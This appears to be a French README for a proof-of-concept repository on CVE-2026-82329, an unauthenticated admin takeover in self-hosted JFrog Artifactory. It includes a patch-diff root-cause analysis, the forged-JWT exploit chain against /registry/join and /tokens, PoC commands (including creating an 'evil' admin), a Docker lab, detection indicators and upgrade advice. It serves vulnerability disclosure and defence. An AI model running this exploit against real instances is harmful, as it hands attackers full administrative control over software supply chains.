Lab Docker reproductible et PoC Python pour CVE-2026-82329, un contournement d'authentification non authentifié dans JFrog Artifactory menant à une prise de contrôle administrateur, avec analyse du diff de correctif et conseils de détection.
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · divulgué le 28/08/2026 · exploité dans la nature.
Un attaquant non authentifié, adjacent au réseau, génère un jeton d'accès administrateur de plateforme contre une instance JFrog Artifactory auto-hébergée par défaut. Ce répertoire contient un laboratoire Docker reproductible et un PoC validateur paramétré par URL.
Reproduit et vérifié A/B sur artifactory-oss 7.161.19 (vulnérable, JFrog Access 7.191.11)
vs 7.161.20 (corrigé, JFrog Access 7.191.14).
La cause racine a été dérivée du correctif du fournisseur lui-même (diff de bytecode du service JFrog Access closed-source entre les deux images conteneur), puis prouvée en conditions réelles — non tirée d'aucun article tiers.
getSigningKey("") = = — un secret
entièrement connu. Ainsi, n'importe qui peut signer un JWT join valide (, , récent,
quelconque, ).pkcs7(<vide>, 32)0x20alg=HS256kid = SHA256("")iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join (RegistryNoAuthResource — aucune authentification) →
HTTP 201, renvoie un jeton SERVICE avec le scope admin (audience = Access).POST /access/api/v1/tokens avec ce jeton, scope=applied-permissions/admin&audience=*
→ un jeton d'accès administrateur de plateforme complet (c'est le comportement de « frappe de jetons admin » signalé
dans la nature).$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Étape 1 /registry/join -> HTTP 201 jeton SERVICE généré (scp=admin)
[+] Étape 2 /access/api/v1/tokens -> HTTP 200 jeton ADMIN (scp=applied-permissions/admin, aud=*)
[+] Étape 3 preuve de capacité admin :
GET /artifactory/api/system/configuration -> HTTP 200 (18284 octets, admin uniquement ; sans auth=401)
GET /access/api/v1/tokens (liste TOUS les jetons) -> HTTP 200 (admin uniquement)
[=] VULNÉRABLE - un attaquant non authentifié a obtenu ADMIN sur cette instance (CVE-2026-82329).
JFrog Access 7.191.11 → 7.191.14 a modifié exactement 12 classes. Celles pertinentes pour la sécurité :
JoinKeyAccess.tryResolveJoinKeys()// VULNÉRABLE (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" autorisé
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // clé vide ajoutée à l'ensemble de confiance
log.warn("Ajout de la clé de jointure avec kid : {} aux clés de jointure supplémentaires", hashPair.getHash());
});
// CORRIGÉ (7.191.14) -> les entrées vides sont filtrées
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
Sans clés de jointure supplémentaires configurées (le défaut), la valeur de configuration est "" ;
"".split(",") produit [""], donc un JoinKeyHashPair vide (kid = SHA256("") =
e3b0c442…b855) entre dans la carte des « clés de jointure supplémentaires » approuvées. JoinKeyHashPair a également été
durci pour rejeter null/vide dans le constructeur.
Confirmé sur l'instance par défaut en conditions réelles — journal de démarrage du serveur :
o.j.a.s.s.JoinKeyAccess - Ajout de la clé de jointure avec kid :
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 aux clés de jointure supplémentaires
Ce kid est exactement SHA256("").
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// remplissage pkcs7 d'une clé VIDE : padLength = 32 -> 32 octets, chacun == (byte)32 == 0x20
Ainsi, le JWT join pour la clé vide est signé avec HS256 sur 32 octets de 0x20 — connu de l'attaquant.
RegistryNoAuthResource (@Path("/v1/registry"), sans @Authorized) :
@POST @Path("join")
public Response join(String jwtStr) { // corps = le JWT brut
JwtToken token = this.joinService.join(jwtStr, ...); // valide : iat récent (<30s) + signature de clé de jointure
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken() :
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
Un jeton d'accès non expirant, à scope admin, signé RSA. Le jeton de service scope("admin") est
ensuite autorisé à générer un jeton utilisateur complet applied-permissions/admin via POST /access/api/v1/tokens.
ProjectResourceDeux points de terminaison sont passés de @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN)
(GET/DELETE {projectKey}/resources), confirmant que la primitive d'exploitation est une identité SERVICE
forgée et que la surface autorisée SERVICE était surexposée.
Auto-hébergé uniquement (le cloud est déjà corrigé). Vulnérable ≤ la dernière version de chaque branche ci-dessous ; mettez à niveau vers le correctif associé :
| Branche | Vulnérable ≤ | Corrigé |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
Le correctif est fourni avec JFrog Access 7.191.14.
Voir lab/README.md. En bref :
cd lab
ART_VER=7.161.19 docker compose up -d # vulnérable (défaut) ; attendre ~3-4 min
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> VULNÉRABLE
docker compose down
ART_VER=7.161.20 docker compose up -d # contrôle corrigé
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> NON VULNÉRABLE (join HTTP 400)
Artifactory 7.161.x nécessite PostgreSQL (son service Access refuse le Derby intégré), donc le laboratoire inclut un sidecar postgres.
python3 poc/cve_2026_82329_poc.py http://<hôte-artifactory>:8082
python3 poc/cve_2026_82329_poc.py http://<hôte>:8082 --create-admin evil:P@ssw0rd1 # changement d'état Pro/Ent
python3 poc/cve_2026_82329_poc.py http://<hôte>:8082 --token-only # afficher un jeton admin
Pointez-le vers tout ce qui sert de frontal au JFrog Router (/access/… accessible). Il rapporte VULNÉRABLE
(admin obtenu) ou NON VULNÉRABLE (join rejeté). Exécutez-le uniquement contre des systèmes que vous êtes autorisé
à tester.
POST /access/api/v1/registry/join depuis des hôtes hors cluster, surtout
suivi immédiatement par POST /access/api/v1/tokens.Ajout de la clé de jointure avec kid : e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …
signifie que la clé de jointure vide est approuvée (présente sur les défauts non corrigés).scope=applied-permissions/admin,
audience=*, ou jetons admin à sujet service (sub=<svc>, scp=admin, aud=<access-id>).kid est égale à SHA256("") (e3b0c442…b855).Mettez à niveau vers la version corrigée de votre branche (tableau ci-dessus). De plus : placez Artifactory derrière un
proxy inverse qui n'expose pas /access/api/v1/registry/** aux réseaux non approuvés, et faites pivoter la
clé de jointure + révoquez les jetons admin inattendus après le correctif.
Artefacts dans ce répertoire : poc/ (validateur), lab/ (laboratoire Docker), analysis/ (diffs de correctifs +
preuves décompilées), EVIDENCE.md (sortie de run capturée). Pour recherche en sécurité autorisée uniquement.